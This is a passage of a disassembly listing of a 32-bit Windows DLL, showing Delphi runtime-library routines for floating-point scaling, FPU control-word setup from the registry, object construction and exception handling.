		and	edx, 1Fh
		lea	edx, [edx+edx*4]
		fld	tbyte_100028F7[ebx+edx*2]
		fmulp	st(1), st
		shr	eax, 5
		jz	short loc_100028EB
		mov	edx, eax
		and	edx, 0Fh
		jz	short loc_10002885
		lea	edx, [edx+edx*4]
		fld	tbyte ptr byte_10002A2D[ebx+edx*2]
		fmulp	st(1), st

loc_10002885:				; CODE XREF: sub_10002844+33j
		shr	eax, 4
		jz	short loc_100028EB
		lea	eax, [eax+eax*4]
		fld	tbyte_10002AC3[ebx+eax*2]
		fmulp	st(1), st
		jmp	short loc_100028EB
; ---------------------------------------------------------------------------

loc_10002898:				; CODE XREF: sub_10002844+5j
		neg	eax
		cmp	eax, 1400h
		jge	short loc_100028E7
		mov	edx, eax
		and	edx, 1Fh
		lea	edx, [edx+edx*4]
		fld	tbyte_100028F7[ebx+edx*2]
		fdivp	st(1), st
		shr	eax, 5
		jz	short loc_100028EB
		mov	edx, eax
		and	edx, 0Fh
		jz	short loc_100028CA
		lea	edx, [edx+edx*4]
		fld	tbyte ptr byte_10002A2D[ebx+edx*2]
		fdivp	st(1), st

loc_100028CA:				; CODE XREF: sub_10002844+78j
		shr	eax, 4
		jz	short loc_100028EB
		lea	eax, [eax+eax*4]
		fld	tbyte_10002AC3[ebx+eax*2]
		fdivp	st(1), st
		jmp	short loc_100028EB
; ---------------------------------------------------------------------------

loc_100028DD:				; CODE XREF: sub_10002844+12j
		fstp	st
		fld	tbyte_100028ED[ebx]
		jmp	short loc_100028EB
; ---------------------------------------------------------------------------

loc_100028E7:				; CODE XREF: sub_10002844+5Bj
		fstp	st
		fldz

loc_100028EB:				; CODE XREF: sub_10002844+7j
					; sub_10002844+2Cj ...
		pop	ebx
		retn
sub_10002844	endp

; ---------------------------------------------------------------------------
tbyte_100028ED	dt 1.1897314953572317651e4932 ;	DATA XREF: sub_10002844+9Br
tbyte_100028F7	dt 1.0			; DATA XREF: sub_10002844+20r
					; sub_10002844+65r
		align 8
		dd 4002A0h, 0
		dd 5C80000h, 40h, 0
		dd 4008FAh, 0
		dd 0C9C4000h, 40h, 50000000h, 400FC3h, 0
		dd 12F42400h, 40h, 96800000h, 401698h, 0
		dd 19BEBC20h, 40h, 6B280000h, 401CEEh, 0
		dd 209502F9h, 40h, 43B74000h, 4023BAh, 10000000h, 26E8D4A5h
		dd 40h,	84E72A00h, 402A91h, 0F4800000h,	2DB5E620h, 40h
		dd 5FA931A0h, 4030E3h, 0BF040000h, 348E1BC9h, 40h, 0A2BC2EC5h
		dd 4037B1h, 3A764000h, 3ADE0B6Bh, 0E8000040h, 0C7230489h
		dd 403E8Ah, 0C5AC6200h,	41AD78EBh, 7A800040h, 0D726B717h
		dd 4044D8h, 326EAC90h, 48878678h, 57B40040h, 68163F0Ah
		dd 404BA9h, 0CECCEDA1h,	4ED3C21Bh, 1484A040h, 59516140h
		dd 0C8405284h, 0B99019A5h, 55A56FA5h, 200F3A40h, 0CB8F27F4h
		dd 844058CEh, 78F89409h, 5C813F39h, 0B90BE540h,	8F07D736h
		dd 0DF405FA1h, 0CD04674Eh, 62C9F2C9h
		db 40h
byte_10002A2D	db 96h			; DATA XREF: sub_10002844+38r
					; sub_10002844+7Dr
		dw 8122h
		dd 6F7C4045h, 9E4065FCh, 0A82B70B5h, 699DC5ADh,	0CFA6D540h
		dd 781F49FFh, 0A340D3C2h, 16C59B14h, 3DEFB3ABh,	0E98CE041h
		dd 0BA47C980h, 0AA41A893h, 2B7FE617h, 12B616A1h, 27556B42h
		dd 70F78D39h, 30427CE0h, 0FFE33CC9h, 0E78A5296h, 0F9DE8E42h
		dd 7EEBFB9Dh, 8C4351AAh, 195C6A2Fh, 0BBD226FCh,	0CCE37643h
		dd 842F29F2h, 0D2442681h, 0DB900Ah, 909FA427h, 0F8AA1744h
		dd 0C5E310AEh, 5944FAC4h, 7E9B09Ch, 64F28A9Ch, 0F7F3D445h
		dd 7A4AE1EBh
		db 95h,	0CFh, 45h
tbyte_10002AC3	dt 9.9999999999999999996e479 ; DATA XREF: sub_10002844+49r
					; sub_10002844+8Er
		db 0C7h, 91h, 0Eh
		dd 19A0AEA6h, 1746A3E3h, 8681750Ch, 48C97675h, 93A7E44Dh
		dd 0B8353B39h, 0E553EDB2h, 5DC53D5Dh, 929E8B3Bh, 0A1F0A65Ah
		dd 0A554C020h, 8B61378Ch, 25D88B5Ah, 0DBF9895Dh, 27F3F867h
		dd 5DC8A2BFh, 9B6E80DDh, 28A2097h, 25C46052h, 0D559F075h
		dd 3511626Eh, 0C37BCAAEh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10002B28	proc near		; CODE XREF: sub_10002B30+5p
					; sub_10002B30+11p
		jmp	ds:dword_1000B130
sub_10002B28	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_10002B30	proc near		; CODE XREF: sub_100042EC+4Ap
		push	ebx
		xor	ebx, ebx
		push	0
		call	sub_10002B28	; GetKeyboardType
		cmp	eax, 7
		jnz	short loc_10002B5B
		push	1
		call	sub_10002B28	; GetKeyboardType
		and	eax, 0FF00h
		cmp	eax, 0D00h
		jz	short loc_10002B59
		cmp	eax, 400h
		jnz	short loc_10002B5B

loc_10002B59:				; CODE XREF: sub_10002B30+20j
		mov	bl, 1

loc_10002B5B:				; CODE XREF: sub_10002B30+Dj
					; sub_10002B30+27j
		mov	eax, ebx
		pop	ebx
		retn
sub_10002B30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10002B60	proc near		; CODE XREF: sub_100042EC+53p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		movzx	eax, ds:word_10009014
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		push	0
		push	offset aSoftwareBorlan ; "SOFTWARE\\Borland\\Delphi\\RTL"
		push	80000002h
		call	sub_10001118	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_10002BD8
		xor	eax, eax
		push	ebp
		push	offset loc_10002BD1
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_C], 4
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		push	0
		push	offset aFpumaskvalue ; "FPUMaskValue"
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_10001120	; RegQueryValueExA
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_10002BD8

loc_10002BC7:				; CODE XREF: sub_10002B60+76j
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_10001110	; RegCloseKey
		retn
; ---------------------------------------------------------------------------

loc_10002BD1:				; DATA XREF: sub_10002B60+2Eo
		jmp	loc_10003048
; ---------------------------------------------------------------------------
		jmp	short loc_10002BC7
; ---------------------------------------------------------------------------

loc_10002BD8:				; CODE XREF: sub_10002B60+29j
					; DATA XREF: sub_10002B60+62o
		mov	ax, ds:word_10009014
		and	ax, 0FFC0h
		mov	dx, word ptr [ebp+var_8]
		and	dx, 3Fh
		or	ax, dx
		mov	ds:word_10009014, ax
		mov	esp, ebp
		pop	ebp
		retn
sub_10002B60	endp

; ---------------------------------------------------------------------------
		align 4
aSoftwareBorlan	db 'SOFTWARE\Borland\Delphi\RTL',0 ; DATA XREF: sub_10002B60+18o
aFpumaskvalue	db 'FPUMaskValue',0     ; DATA XREF: sub_10002B60+4Co
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10002C24	proc near		; CODE XREF: sub_10002F1C+20p
					; CODE:10003212p ...
		fninit
		wait
		fldcw	ds:word_10009014
		retn
sub_10002C24	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_10002C30	proc near		; CODE XREF: CODE:10006823p
		push	esi
		push	edi
		mov	edi, edx
		mov	esi, [eax-2Ch]
		xor	ecx, ecx
		mov	cl, [esi]
		inc	ecx
		rep movsb
		pop	edi
		pop	esi
		retn
sub_10002C30	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10002C44	proc near		; DATA XREF: CODE:1000104Co
					; CODE:10004A90o ...
		push	ebx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_10002C74
		call	sub_100024F8
		mov	edx, eax
		mov	eax, ebx
		call	sub_10002C98
		pop	ebx
		retn
sub_10002C44	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_10002C60	proc near		; CODE XREF: sub_10006B00+6p
					; DATA XREF: CODE:10001050o ...
		push	ebx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_10002CF0
		mov	eax, ebx
		call	sub_10002518
		pop	ebx
		retn
sub_10002C60	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10002C74	proc near		; CODE XREF: sub_10002C44+5p
		add	eax, 0FFFFFFD8h
		mov	eax, [eax]
		retn
sub_10002C74	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10002C7C	proc near		; DATA XREF: CODE:10001054o
					; CODE:10004A98o ...
		call	sub_10002E1C
		test	dl, dl
		jle	short locret_10002C8A
		call	sub_10002E04

locret_10002C8A:			; CODE XREF: sub_10002C7C+7j
		retn
sub_10002C7C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10002C8C	proc near		; CODE XREF: sub_10002F1C+11Fj
					; sub_100030A8+30p ...
		test	eax, eax
		jz	short locret_10002C97
		mov	dl, 1
		mov	ecx, [eax]
		call	dword ptr [ecx-4]

locret_10002C97:			; CODE XREF: sub_10002C8C+2j
		retn
sub_10002C8C	endp


; =============== S U B	R O U T	I N E =======================================



sub_10002C98	proc near		; CODE XREF: sub_10002C44+13p
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	edi, edx
		stosd
		mov	ecx, [ebx-28h]
		xor	eax, eax
		push	ecx
		shr	ecx, 2
		dec	ecx
		rep stosd
		pop	ecx
		and	ecx, 3
		rep stosb
		mov	eax, edx
		mov	edx, esp

loc_10002CB6:				; CODE XREF: sub_10002C98+2Fj
		mov	ecx, [ebx-48h]
		test	ecx, ecx
		jz	short loc_10002CBE
		push	ecx

loc_10002CBE:				; CODE XREF: sub_10002C98+23j
		mov	ebx, [ebx-24h]
		test	ebx, ebx
		jz	short loc_10002CC9
		mov	ebx, [ebx]
		jmp	short loc_10002CB6
; ---------------------------------------------------------------------------

loc_10002CC9:				; CODE XREF: sub_10002C98+2Bj
		cmp	esp, edx
		jz	short loc_10002CEA

loc_10002CCD:				; CODE XREF: sub_10002C98+50j
		pop	ebx
		mov	ecx, [ebx]
		add	ebx, 4

loc_10002CD3:				; CODE XREF: sub_10002C98+4Cj
		mov	esi, [ebx+10h]
		test	esi, esi
		jz	short loc_10002CE0
		mov	edi, [ebx+14h]
		mov	[edi+eax], esi

loc_10002CE0:				; CODE XREF: sub_10002C98+40j
		add	ebx, 1Ch
		dec	ecx
		jnz	short loc_10002CD3
		cmp	esp, edx
		jnz	short loc_10002CCD

loc_10002CEA:				; CODE XREF: sub_10002C98+33j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10002C98	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_10002CF0	proc near		; CODE XREF: sub_10002C60+5p
		push	ebx
		push	esi
		mov	ebx, eax
		mov	esi, eax

loc_10002CF6:				; CODE XREF: sub_10002CF0+1Bj
		mov	esi, [esi]
		mov	edx, [esi-40h]
		mov	esi, [esi-24h]
		test	edx, edx
		jz	short loc_10002D09
		call	sub_10003A68
		mov	eax, ebx

loc_10002D09:				; CODE XREF: sub_10002CF0+10j
		test	esi, esi
		jnz	short loc_10002CF6
		pop	esi
		pop	ebx
		retn
sub_10002CF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_10002D10	proc near		; CODE XREF: CODE:100067CCp
					; sub_10006F54+96p
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_10002D27
		mov	edx, esi
		mov	eax, [ebx]
		call	sub_10002D64
		test	al, al
		jnz	short loc_10002D2C

loc_10002D27:				; CODE XREF: sub_10002D10+8j
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_10002D2C:				; CODE XREF: sub_10002D10+15j
		mov	al, 1
		pop	esi
		pop	ebx
		retn
sub_10002D10	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10002D34	proc near		; CODE XREF: sub_10002D8C+13p
		push	edi
		xchg	eax, esi
		jmp	short loc_10002D3A
; ---------------------------------------------------------------------------

loc_10002D38:				; CODE XREF: sub_10002D34+1Fj
		mov	esi, [esi]

loc_10002D3A:				; CODE XREF: sub_10002D34+2j
		mov	edi, [esi-30h]
		test	edi, edi
		jz	short loc_10002D4E
		movzx	ecx, word ptr [edi]
		push	ecx
		add	edi, 2
		repne scasw
		jz	short loc_10002D57
		pop	ecx

loc_10002D4E:				; CODE XREF: sub_10002D34+Bj
		mov	esi, [esi-24h]
		test	esi, esi
		jnz	short loc_10002D38
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_10002D57:				; CODE XREF: sub_10002D34+17j
		pop	eax
		add	eax, eax
		sub	eax, ecx
		mov	esi, [edi+eax*2-4]
		pop	edi
		retn
sub_10002D34	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10002D64	proc near		; CODE XREF: sub_10002D10+Ep
		jmp	short loc_10002D68
; ---------------------------------------------------------------------------

loc_10002D66:				; CODE XREF: sub_10002D64+Dj
		mov	eax, [eax]

loc_10002D68:				; CODE XREF: sub_10002D64j
		cmp	eax, edx
		jz	short loc_10002D74
		mov	eax, [eax-24h]
		test	eax, eax
		jnz	short loc_10002D66
		retn
; ---------------------------------------------------------------------------

loc_10002D74:				; CODE XREF: sub_10002D64+6j
		mov	al, 1
		retn
sub_10002D64	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10002D78	proc near		; DATA XREF: CODE:10001038o
					; CODE:10004A7Co ...
		mov	eax, 8000FFFFh
		retn
sub_10002D78	endp

; ---------------------------------------------------------------------------
		align 10h
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10002D8C	proc near		; DATA XREF: CODE:10001044o
					; CODE:10004A88o ...
		push	esi
		mov	si, [edx]
		or	si, si
		jz	short loc_10002DAC
		cmp	si, 0C000h
		jnb	short loc_10002DAC
		push	eax
		mov	eax, [eax]
		call	sub_10002D34
		pop	eax
		jz	short loc_10002DAC
		mov	ecx, esi
		pop	esi
		jmp	ecx
; ---------------------------------------------------------------------------

loc_10002DAC:				; CODE XREF: sub_10002D8C+7j
					; sub_10002D8C+Ej ...
		pop	esi
		mov	ecx, [eax]
		jmp	dword ptr [ecx-10h]
sub_10002D8C	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10002DB4	proc near		; CODE XREF: sub_10006974+Ap
					; sub_100069B0+Fp ...

arg_0		= byte ptr  4

		push	edx
		push	ecx
		push	ebx
		test	dl, dl
		jl	short loc_10002DBE
		call	dword ptr [eax-0Ch]

loc_10002DBE:				; CODE XREF: sub_10002DB4+5j
		xor	edx, edx
		lea	ecx, [esp+0Ch+arg_0]
		mov	ebx, fs:[edx]
		mov	[ecx], ebx
		mov	[ecx+8], ebp
		mov	dword ptr [ecx+4], offset sub_10002DDD
		mov	[ecx+0Ch], eax
		mov	fs:[edx], ecx
		pop	ebx
		pop	ecx
		pop	edx
		retn
sub_10002DB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10002DDD	proc near		; DATA XREF: sub_10002DB4+18o
		jmp	sub_10002F1C
sub_10002DDD	endp

; ---------------------------------------------------------------------------
		mov	eax, [esp+2Ch]
		mov	eax, [eax+0Ch]
		test	eax, eax
		jz	short loc_10002DFB
		mov	ecx, [eax]
		mov	dl, 81h
		push	eax
		call	dword ptr [ecx-4]
		pop	eax
		call	sub_10002E04

loc_10002DFB:				; CODE XREF: CODE:10002DEBj
		call	sub_100030A8
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10002E04	proc near		; CODE XREF: sub_10002C7C+9p
					; CODE:10002DF6p
		mov	edx, [eax]
		call	dword ptr [edx-8]
		retn
sub_10002E04	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10002E0C	proc near		; CODE XREF: sub_10006974+25p
					; sub_100069B0+67p ...
		push	ebx
		mov	ebx, eax
		mov	eax, ebx
		mov	edx, [eax]
		call	dword ptr [edx-1Ch]
		mov	eax, ebx
		pop	ebx
		retn
sub_10002E0C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10002E1C	proc near		; CODE XREF: sub_10002C7Cp
		test	dl, dl
		jg	short loc_10002E21
		retn
; ---------------------------------------------------------------------------

loc_10002E21:				; CODE XREF: sub_10002E1C+2j
		push	eax
		push	edx
		mov	edx, [eax]
		call	dword ptr [edx-18h]
		pop	edx
		pop	eax
		retn
sub_10002E1C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10002E2C	proc near		; CODE XREF: sub_100030A8+35p
		cmp	ds:byte_10009018, 1
		jbe	short locret_10002E46
		push	0
		push	0
		push	0
		push	0EEDFADFh
		call	ds:off_1000A014

locret_10002E46:			; CODE XREF: sub_10002E2C+7j
		retn
sub_10002E2C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10002E48	proc near		; CODE XREF: sub_10002F1C+4Dp
		cmp	ds:byte_10009018, 0
		jz	short locret_10002E68
		push	eax
		push	eax
		push	edx
		push	esp
		push	2
		push	0
		push	0EEDFAE4h
		call	ds:off_1000A014
		add	esp, 8
		pop	eax

locret_10002E68:			; CODE XREF: sub_10002E48+7j
		retn
sub_10002E48	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_10002E84

loc_10002E6C:				; CODE XREF: sub_10002E84+Bj
		push	esp
		push	1
		push	0
		push	0EEDFAE0h
		call	ds:off_1000A014
		add	esp, 4
		pop	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_10002E84
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10002E84	proc near		; CODE XREF: sub_10002F1C+FDp

; FUNCTION CHUNK AT 10002E6C SIZE 00000015 BYTES

		cmp	ds:byte_10009018, 1
		jbe	short locret_10002E94
		push	eax
		push	ebx
		jmp	loc_10002E6C
; ---------------------------------------------------------------------------

locret_10002E94:			; CODE XREF: sub_10002E84+7j
		retn
sub_10002E84	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10002E98	proc near		; CODE XREF: sub_10002EB8+Cp
		test	ecx, ecx
		jz	short locret_10002EB5
		mov	eax, [ecx+1]
		cmp	byte ptr [ecx],	0E9h
		jz	short loc_10002EB0
		cmp	byte ptr [ecx],	0EBh
		jnz	short locret_10002EB5
		movsx	eax, al
		inc	ecx
		inc	ecx
		jmp	short loc_10002EB3
; ---------------------------------------------------------------------------

loc_10002EB0:				; CODE XREF: sub_10002E98+Aj
		add	ecx, 5

loc_10002EB3:				; CODE XREF: sub_10002E98+16j
		add	ecx, eax

locret_10002EB5:			; CODE XREF: sub_10002E98+2j
					; sub_10002E98+Fj
		retn
sub_10002E98	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10002EB8	proc near		; CODE XREF: sub_10001838+1835p
		cmp	ds:byte_10009018, 1
		jbe	short locret_10002EDE
		push	eax
		push	edx
		push	ecx
		call	sub_10002E98
		push	ecx
		push	esp
		push	1
		push	0
		push	0EEDFAE1h
		call	ds:off_1000A014
		pop	ecx
		pop	ecx
		pop	edx
		pop	eax

locret_10002EDE:			; CODE XREF: sub_10002EB8+7j
		retn
sub_10002EB8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_10002EE0	proc near		; CODE XREF: sub_100030FC+28p
		cmp	ds:byte_10009018, 1
		jbe	short locret_10002EFB
		push	edx
		push	esp
		push	1
		push	0
		push	0EEDFAE2h
		call	ds:off_1000A014
		pop	edx

locret_10002EFB:			; CODE XREF: sub_10002EE0+7j
		retn
sub_10002EE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_10002EFC	proc near		; CODE XREF: CODE:loc_10003259p
		push	eax
		push	edx
		cmp	ds:byte_10009018, 1
		jbe	short loc_10002F17
		push	esp
		push	2
		push	0
		push	0EEDFAE3h
		call	ds:off_1000A014

loc_10002F17:				; CODE XREF: sub_10002EFC+9j
		pop	edx
		pop	eax
		retn
sub_10002EFC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10002F1C	proc near		; CODE XREF: sub_10002DDDj
					; sub_100032CC:loc_10003312j ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_24		= dword	ptr  28h

		mov	eax, [esp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_10003040
		cmp	dword ptr [eax], 0EEDFADEh
		mov	edx, [eax+18h]
		mov	ecx, [eax+14h]
		jz	short loc_10002FA9
		cld
		call	sub_10002C24
		mov	edx, ds:dword_1000A010
		test	edx, edx
		jz	loc_10003040
		call	edx
		test	eax, eax
		jz	loc_10003040
		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		cmp	dword ptr [ecx], 0EEFFACEh
		jz	short loc_10002FA0
		call	sub_10002E48
		cmp	ds:byte_1000901C, 0
		jbe	short loc_10002FA0
		cmp	ds:byte_10009018, 0
		ja	short loc_10002FA0
		lea	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_10001078	; UnhandledExceptionFilter
		cmp	eax, 0
		pop	eax
		jz	loc_10003040
		mov	edx, eax
		mov	eax, [esp+arg_0]
		mov	ecx, [eax+0Ch]
		jmp	short loc_10002FD0
; ---------------------------------------------------------------------------

loc_10002FA0:				; CODE XREF: sub_10002F1C+4Bj
					; sub_10002F1C+59j ...
		mov	edx, eax
		mov	eax, [esp+arg_0]
		mov	ecx, [eax+0Ch]

loc_10002FA9:				; CODE XREF: sub_10002F1C+1Dj
		cmp	ds:byte_1000901C, 1
		jbe	short loc_10002FD0
		cmp	ds:byte_10009018, 0
		ja	short loc_10002FD0
		push	eax
		lea	eax, [esp+4+arg_0]
		push	edx
		push	ecx
		push	eax
		call	sub_10001078	; UnhandledExceptionFilter
		cmp	eax, 0
		pop	ecx
		pop	edx
		pop	eax
		jz	short loc_10003040

loc_10002FD0:				; CODE XREF: sub_10002F1C+82j
					; sub_10002F1C+94j ...
		or	dword ptr [eax+4], 2
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, fs:[ebx]
		push	ebx
		push	eax
		push	edx
		push	ecx
		mov	edx, [esp+20h+arg_4]
		push	0
		push	eax
		push	offset loc_10002FF4
		push	edx
		call	ds:off_1000A018

loc_10002FF4:				; DATA XREF: sub_10002F1C+CCo
		mov	edi, [esp+arg_24]
		call	sub_10004460
		push	dword ptr [eax+0]
		mov	[eax+0], esp
		mov	ebp, [edi+8]
		mov	ebx, [edi+4]
		mov	dword ptr [edi+4], offset loc_10003020
		add	ebx, 5
		call	sub_10002E84
		jmp	ebx
; ---------------------------------------------------------------------------

loc_10003020:				; DATA XREF: sub_10002F1C+F3o
		jmp	loc_10003048
; ---------------------------------------------------------------------------
		call	sub_10004460
		mov	ecx, [eax+0]
		mov	edx, [ecx]
		mov	[eax+0], edx
		mov	eax, [ecx+8]
		jmp	sub_10002C8C
; ---------------------------------------------------------------------------

loc_10003040:				; CODE XREF: sub_10002F1C+Bj
					; sub_10002F1C+2Dj ...
		mov	eax, 1
		retn
sub_10002F1C	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_10001838

loc_10003048:				; CODE XREF: sub_10001838:loc_100018EEj
					; sub_100018FC:loc_100019D2j ...
		mov	eax, [esp+4]
		mov	edx, [esp+arg_0]
		test	dword ptr [eax+4], 6
		jz	short loc_10003078
		mov	ecx, [edx+4]
		mov	dword ptr [edx+4], offset loc_10003078
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebp, [edx+8]
		add	ecx, 5
		call	sub_10002EB8
		call	ecx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx

loc_10003078:				; CODE XREF: sub_10001838+181Fj
					; DATA XREF: sub_10001838+1824o
		mov	eax, 1
		retn
; END OF FUNCTION CHUNK	FOR sub_10001838
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_10003080	proc near		; CODE XREF: sub_10005444+19p
					; sub_10006BAC+4Bj ...
		or	eax, eax
		jnz	short loc_1000308E
		mov	eax, 0D8h
		call	sub_10003614
; ---------------------------------------------------------------------------

loc_1000308E:				; CODE XREF: sub_10003080+2j
		pop	edx
		push	esp
		push	ebp
		push	edi
		push	esi
		push	ebx
		push	eax
		push	edx
		push	esp
		push	7
		push	1
		push	0EEDFADEh
		push	edx
		jmp	ds:off_1000A014
sub_10003080	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_100030A8	proc near		; CODE XREF: CODE:loc_10002DFBp
					; sub_100032CC+50p ...

arg_2C		= dword	ptr  30h

		mov	eax, [esp+arg_2C]
		mov	dword ptr [eax+4], offset loc_100030F3
		call	sub_10004460
		mov	edx, [eax+0]
		mov	ecx, [edx]
		mov	[eax+0], ecx
		mov	eax, [edx+0Ch]
		and	dword ptr [eax+4], 0FFFFFFFDh
		cmp	dword ptr [eax], 0EEDFADEh
		jz	short loc_100030E2
		mov	eax, [edx+8]
		call	sub_10002C8C
		call	sub_10002E2C

loc_100030E2:				; CODE XREF: sub_100030A8+2Bj
		xor	eax, eax
		add	esp, 14h
		mov	edx, fs:[eax]
		pop	ecx
		mov	edx, [edx]
		mov	[ecx], edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx

loc_100030F3:				; DATA XREF: sub_100030A8+4o
		mov	eax, 1
		retn
sub_100030A8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100030FC	proc near		; CODE XREF: sub_100032CC+55p
					; sub_1000332C+55p ...

arg_2C		= dword	ptr  30h

		call	sub_10004460
		mov	edx, [eax+0]
		mov	ecx, [edx]
		mov	[eax+0], ecx
		mov	eax, [edx+8]
		call	sub_10002C8C
		pop	edx
		mov	esp, [esp-4+arg_2C]
		xor	eax, eax
		pop	ecx
		mov	fs:[eax], ecx
		pop	eax
		pop	ebp
		call	sub_10002EE0
		jmp	edx
sub_100030FC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_1000312C	proc near		; CODE XREF: sub_10001F24+F5p
					; sub_10001F24+14Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		xor	edx, edx
		mov	ecx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		add	ecx, 5
		mov	fs:[edx], eax
		call	ecx
		retn	0Ch
sub_1000312C	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

loc_10003144:				; CODE XREF: CODE:10003244j
					; CODE:10003250j
		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+8]
		mov	eax, [edx]
		cmp	eax, 0C0000092h
		jg	short loc_1000317F
		jz	short loc_100031B1
		cmp	eax, 0C000008Eh
		jg	short loc_10003171
		jz	short loc_100031B5
		sub	eax, 0C0000005h
		jz	short loc_100031C1
		sub	eax, 87h
		jz	short loc_100031A9
		dec	eax
		jz	short loc_100031BD
		jmp	short loc_100031D1
; ---------------------------------------------------------------------------

loc_10003171:				; CODE XREF: CODE:1000315Aj
		add	eax, 3FFFFF71h
		sub	eax, 2
		jb	short loc_100031B1
		jz	short loc_100031AD
		jmp	short loc_100031D1
; ---------------------------------------------------------------------------

loc_1000317F:				; CODE XREF: CODE:10003151j
		cmp	eax, 0C0000096h
		jg	short loc_10003197
		jz	short loc_100031C5
		sub	eax, 0C0000093h
		jz	short loc_100031BD
		dec	eax
		jz	short loc_100031A5
		dec	eax
		jz	short loc_100031B9
		jmp	short loc_100031D1
; ---------------------------------------------------------------------------

loc_10003197:				; CODE XREF: CODE:10003184j
		sub	eax, 0C00000FDh
		jz	short loc_100031CD
		sub	eax, 3Dh
		jz	short loc_100031C9
		jmp	short loc_100031D1
; ---------------------------------------------------------------------------

loc_100031A5:				; CODE XREF: CODE:10003190j
		mov	al, 0C8h
		jmp	short loc_100031D3
; ---------------------------------------------------------------------------

loc_100031A9:				; CODE XREF: CODE:1000316Aj
		mov	al, 0C9h
		jmp	short loc_100031D3
; ---------------------------------------------------------------------------

